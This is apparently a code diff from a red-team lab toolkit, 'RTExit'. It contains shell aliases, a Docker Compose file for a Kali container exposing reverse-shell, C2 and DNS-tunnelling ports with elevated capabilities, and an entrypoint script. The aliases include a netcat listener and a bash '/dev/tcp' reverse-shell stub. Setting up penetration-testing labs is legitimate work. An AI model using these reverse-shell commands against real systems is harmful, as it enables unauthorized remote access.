alias rt-encode='python3 -c "import base64,sys; print(base64.b64encode(sys.argv[1].encode()).decode())"'
|
|
404
|
+
alias rt-decode='python3 -c "import base64,sys; print(base64.b64decode(sys.argv[1]).decode())"'
|
|
405
|
+
alias rt-listen='nc -lvnp'
|
|
406
|
+
alias rt-rev='bash -i >& /dev/tcp/'
|
|
407
|
+
|
|
408
|
+
echo -e "${GREEN}[✓] RTExit v3.0 loaded. Type 'rt-verify' to check tools.${NC}"
|
|
409
|
+
echo -e "${YELLOW}[!] Authorized targets only!${NC}"
|
|
410
|
+
echo ""
|
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
# RTExit Lab Environment
|
|
2
|
+
# Usage:
|
|
3
|
+
# docker compose up -d → start container (pulls from GHCR)
|
|
4
|
+
# docker exec -it rtexit-kali bash → enter shell
|
|
5
|
+
# docker compose down → stop container
|
|
6
|
+
#
|
|
7
|
+
# First time: docker compose pull (downloads ~4GB image)
|
|
8
|
+
# Build locally: uncomment 'build:' lines and comment out 'image:'
|
|
9
|
+
|
|
10
|
+
version: '3.8'
|
|
11
|
+
|
|
12
|
+
services:
|
|
13
|
+
rtexit-kali:
|
|
14
|
+
# Option A: Pull pre-built image from registry (recommended — fast)
|
|
15
|
+
image: ghcr.io/exit-code-eg/rtexit-kali:latest
|
|
16
|
+
|
|
17
|
+
# Option B: Build locally from Dockerfile (uncomment to use)
|
|
18
|
+
# build:
|
|
19
|
+
# context: ./docker
|
|
20
|
+
# dockerfile: Dockerfile
|
|
21
|
+
|
|
22
|
+
container_name: rtexit-kali
|
|
23
|
+
hostname: rtexit-kali
|
|
24
|
+
stdin_open: true
|
|
25
|
+
tty: true
|
|
26
|
+
|
|
27
|
+
# Mount your project into the container
|
|
28
|
+
volumes:
|
|
29
|
+
- ..:/workspace # your project root → /workspace inside container
|
|
30
|
+
- rtexit-tools:/opt # persist installed tools between restarts
|
|
31
|
+
|
|
32
|
+
working_dir: /workspace
|
|
33
|
+
|
|
34
|
+
# Network — choose based on your OS:
|
|
35
|
+
# Linux: network_mode: host (best performance, direct access to target network)
|
|
36
|
+
# Mac/Windows: use ports below instead
|
|
37
|
+
# network_mode: host
|
|
38
|
+
|
|
39
|
+
ports:
|
|
40
|
+
- "8080:8080" # Burp Suite / web proxy
|
|
41
|
+
- "4444:4444" # Metasploit reverse shell
|
|
42
|
+
- "4445:4445" # C2 listener
|
|
43
|
+
- "8443:8443" # HTTPS listener
|
|
44
|
+
- "53:53/udp" # DNS (dnscat2, iodine)
|
|
45
|
+
- "80:80" # HTTP server
|
|
46
|
+
- "443:443" # HTTPS server
|
|
47
|
+
|
|
48
|
+
cap_add:
|
|
49
|
+
- NET_ADMIN # required for: nmap, aircrack-ng, bettercap, arp spoofing
|
|
50
|
+
- NET_RAW # required for: raw socket operations, hping3, scapy
|
|
51
|
+
- SYS_PTRACE # required for: gdb, frida, process injection
|
|
52
|
+
|
|
53
|
+
security_opt:
|
|
54
|
+
- apparmor:unconfined # required for: some pentest tools
|
|
55
|
+
|
|
56
|
+
environment:
|
|
57
|
+
- TERM=xterm-256color
|
|
58
|
+
- WORKSPACE=/workspace
|
|
59
|
+
|
|
60
|
+
restart: unless-stopped
|
|
61
|
+
|
|
62
|
+
volumes:
|
|
63
|
+
rtexit-tools:
|
|
64
|
+
driver: local
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# RTExit Kali — Entrypoint Script
|
|
3
|
+
|
|
4
|
+
# Source aliases
|
|
5
|
+
source /etc/profile.d/rtexit-aliases.sh 2>/dev/null
|
|
6
|
+
|
|
7
|
+
# Create workspace if mounted
|
|
8
|
+
mkdir -p /workspace/engagement
|
|
9
|
+
cd /workspace
|
|
10
|
+
|
|
11
|
+
# Start services if needed
|
|
12
|
+
if [ "$START_SERVICES" = "true" ]; then
|
|
13
|
+
service postgresql start 2>/dev/null
|
|
14
|
+
msfdb init 2>/dev/null &
|
|
15
|
+
fi
|
|
16
|
+
|
|
17
|
+
# Execute command or drop to shell
|
|
18
|
+
if [ "$#" -gt 0 ]; then
|
|
19
|
+
exec "$@"
|
|
20
|
+
else
|
|
21
|
+
exec /bin/bash
|
|
22
|
+
fi
|